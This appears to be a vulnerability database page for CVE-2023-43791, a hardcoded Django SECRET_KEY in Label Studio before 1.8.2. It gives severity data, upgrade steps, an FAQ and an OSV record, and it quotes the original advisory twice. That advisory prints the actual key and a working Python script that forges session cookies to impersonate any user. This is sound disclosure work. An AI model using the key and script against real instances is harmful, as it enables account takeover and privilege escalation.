CVE-2023-43791: Label studio Label Studio Has Hardcoded Django Vulnerability

CRITICAL
Advisory Identifier: GHSA-f475-x83m-rx5m
CVSS 9.8
CWE-200
Published
Advisory Summary

CVE-2023-43791 is a CRITICAL (CVSS 9.8) label studio has hardcoded django vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Label studio libraries in the PyPI ecosystem. The issue involves label studio has hardcoded django `secret_key` that can be abused to forge session tokens. Remediation is available by upgrading affected packages to version 1.8.2.

CVE-2023-43791 at a Glance

CVE Identifier CVE-2023-43791
GHSA Identifier GHSA-f475-x83m-rx5m
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Label studio
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-43791

To remediate this vulnerability, upgrade all affected Label studio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

label-studio fixed: 1.8.2
pip install label-studio>=1.8.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show label-studio

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2023-43791, inspect your installed packages using pip:

pip show label-studio

Analyze the terminal output to locate any version of Label studio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.8.2), your application is affected.

Note: The pip show label-studio command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Label studio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Introduction This write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability was found to affect versions before `1.8.2`, where a patch was introduced. # Overview In [Label Studio version 1.8.1](https://github.com/HumanSignal/label-studio/tree/1.8.1), a hard coded Django `SECRET_KEY` was set in the application settings. The Django `SECRET_KEY` is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties. However, the Django framework inserts a `_auth_user_hash` claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) and forge session tokens for all users on Label Studio using the hard coded `SECRET_KEY`. # Description Below is the code snippet of the Django settings file at [`label_studio/core/settings/base.py`](https://github.com/HumanSignal/label-studio/blob/1.8.1/label_studio/core/settings/base.py#L108). ```python # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n' ``` This secret is hard coded across all instances of Label Studio. # Proof of Concept Below are the steps that an attacker could do to forge a session token of any account on Label Studio: 1. Exploit the ORM Leak vulnerability (patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email `ghostccamm@testvm.local` with the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=` that was retrieved. 2. Create a new Django project with an empty application. In `cookieforge/cookieforge/settings.py` set the `SECRET_KEY` to `$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n`. Create a management command with the following code that will be used to create forged session tokens. ```python from typing import Any from django.core.management.base import BaseCommand, CommandParser from django.core import signing from django.utils.crypto import salted_hmac from django.conf import settings import time, uuid class Command(BaseCommand): help = "Forge a users session cookie on Label Studio" def add_arguments(self, parser: CommandParser) -> None: parser.add_argument( '-o', '--organisation', help='Organisation ID to access', default=1, type=int ) parser.add_argument( 'user_id', help='The User ID of the victim you want to impersonate', type=str ) parser.add_argument( 'user_hash', help='The password hash the user you want to impersonate' ) def handle(self, *args: Any, **options: Any) -> str | None: key = settings.SECRET_KEY # Creates the _auth_user_hash HMAC of the victim's password hash auth_user_hash = salted_hmac( 'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash', options['user_hash'], secret=key, algorithm="sha256" ).hexdigest() session_dict = { 'uid': str(uuid.uuid4()), 'organization_pk': options['organisation'], 'next_page': '/projects/', 'last_login': time.time(), '_auth_user_id': options['user_id'], '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': auth_user_hash, 'keep_me_logged_in': True, '_session_expiry': 600 } # Creates a forged session token session_token = signing.dumps( session_dict, key=key, salt="django.contrib.sessions.backends.signed_cookies", compress=True ) self.stdout.write( self.style.SUCCESS(f"session token: {session_token}") ) ``` 3. Next run the following command replacing the `{user_id}` with the user ID of the account you want to the impersonate and `{user_hash}` with the victim's password hash. Copy the session token that is printed. ```python python3 manage.py forgecookie {user_id} '{user_hash}' ``` 4. Change the `sessionid` cookie on the browser and refresh the page. Observe being authenticated as the victim user. # Impact This vulnerability can be chained with the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. # Remediation Advice It is important to note that the hard coded `SECRET_KEY` has already been removed in Label Studio versions `>=1.8.2`. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability. We recommend that Human Signal to release a public disclosure about the hard coded `SECRET_KEY` to encourage users to patch to a version `>=1.8.2` to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform. # Discovered - August 2023, Robert Schuh, @robbilie - August 2023, Alex Brown, elttam

CVE-2023-43791 Affected Label studio Versions

1 component(s)
Fixed Versions:
1.8.2
Product / Package Ecosystem Affected Versions Fixed Version
label-studio
PyPI
< 1.8.2
1.8.2

References

Frequently Asked Questions

What is CVE-2023-43791?
CVE-2023-43791 is a security vulnerability in Label studio involving Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Label studio versions are affected?
Affected versions include releases prior to 1.8.2 across affected packages: label-studio.
What version fixes CVE-2023-43791?
Upgrading to 1.8.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is label-studio affected?
Yes, label-studio is affected in releases prior to 1.8.2. Upgrade your dependency to 1.8.2 or later.
What is the CVSS score of CVE-2023-43791?
CVE-2023-43791 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-43791?
CVE-2023-43791 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check PyPI dependencies for CVE-2023-43791?
Run the dependency tree command: 'pip show label-studio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f475-x83m-rx5m",
  "modified" : "2024-11-22T17:55:25Z",
  "published" : "2023-11-09T14:42:58Z",
  "aliases" : [ "CVE-2023-43791" ],
  "summary" : "Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens",
  "details" : "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability was found to affect versions before `1.8.2`, where a patch was introduced.\n\n# Overview\n\nIn [Label Studio version 1.8.1](https://github.com/HumanSignal/label-studio/tree/1.8.1), a hard coded Django `SECRET_KEY` was set in the application settings. The Django `SECRET_KEY` is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.\n\nHowever, the Django framework inserts a `_auth_user_hash` claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) and forge session tokens for all users on Label Studio using the hard coded `SECRET_KEY`.\n\n# Description\n\nBelow is the code snippet of the Django settings file at [`label_studio/core/settings/base.py`](https://github.com/HumanSignal/label-studio/blob/1.8.1/label_studio/core/settings/base.py#L108).\n\n```python\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n'\n```\n\nThis secret is hard coded across all instances of Label Studio.\n\n# Proof of Concept\n\nBelow are the steps that an attacker could do to forge a session token of any account on Label Studio:\n\n1. Exploit the ORM Leak vulnerability (patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email `ghostccamm@testvm.local` with the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=` that was retrieved.\n\n2. Create a new Django project with an empty application. In `cookieforge/cookieforge/settings.py` set the `SECRET_KEY` to `$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n`. Create a management command with the following code that will be used to create forged session tokens.\n\n```python\nfrom typing import Any\nfrom django.core.management.base import  BaseCommand, CommandParser\nfrom django.core import signing\nfrom django.utils.crypto import salted_hmac\nfrom django.conf import settings\nimport time, uuid\n\nclass Command(BaseCommand):\n    help = \"Forge a users session cookie on Label Studio\"\n\n    def add_arguments(self, parser: CommandParser) -> None:\n        parser.add_argument(\n            '-o', '--organisation',\n            help='Organisation ID to access',\n            default=1,\n            type=int\n        )\n\n        parser.add_argument(\n            'user_id',\n            help='The User ID of the victim you want to impersonate',\n            type=str\n        )\n\n        parser.add_argument(\n            'user_hash',\n            help='The password hash the user you want to impersonate'\n        )\n\n    def handle(self, *args: Any, **options: Any) -> str | None:\n        key = settings.SECRET_KEY\n        # Creates the _auth_user_hash HMAC of the victim's password hash\n        auth_user_hash = salted_hmac(\n            'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash',\n            options['user_hash'],\n            secret=key,\n            algorithm=\"sha256\"\n        ).hexdigest()\n\n        session_dict = {\n            'uid': str(uuid.uuid4()), \n            'organization_pk': options['organisation'], \n            'next_page': '/projects/', \n            'last_login': time.time(), \n            '_auth_user_id': options['user_id'], \n            '_auth_user_backend': \n            'django.contrib.auth.backends.ModelBackend', \n            '_auth_user_hash': auth_user_hash, \n            'keep_me_logged_in': True, \n            '_session_expiry': 600\n        }\n\n        # Creates a forged session token\n        session_token = signing.dumps(\n            session_dict,\n            key=key,\n            salt=\"django.contrib.sessions.backends.signed_cookies\",\n            compress=True\n        )\n\n        self.stdout.write(\n            self.style.SUCCESS(f\"session token: {session_token}\")\n        )\n```\n\n3. Next run the following command replacing the `{user_id}` with the user ID of the account you want to the impersonate and `{user_hash}` with the victim's password hash. Copy the session token that is printed.\n\n```python\npython3 manage.py forgecookie {user_id} '{user_hash}'\n```\n\n4. Change the `sessionid` cookie on the browser and refresh the page. Observe being authenticated as the victim user.\n\n# Impact\n\nThis vulnerability can be chained with the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.\n\n# Remediation Advice\n\nIt is important to note that the hard coded `SECRET_KEY` has already been removed in Label Studio versions `>=1.8.2`. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.\n\nWe recommend that Human Signal to release a public disclosure about the hard coded `SECRET_KEY` to encourage users to patch to a version `>=1.8.2` to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.\n\n# Discovered\n- August 2023, Robert Schuh, @robbilie\n- August 2023, Alex Brown, elttam",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "label-studio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.8.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-f475-x83m-rx5m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-43791"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/pull/4690"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/commit/3d06c5131c15600621e08b06f07d976887cde81b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HumanSignal/label-studio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/releases/tag/1.8.2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2023-274.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-09T14:42:58Z",
    "nvd_published_at" : "2023-11-09T15:15:08Z"
  }
}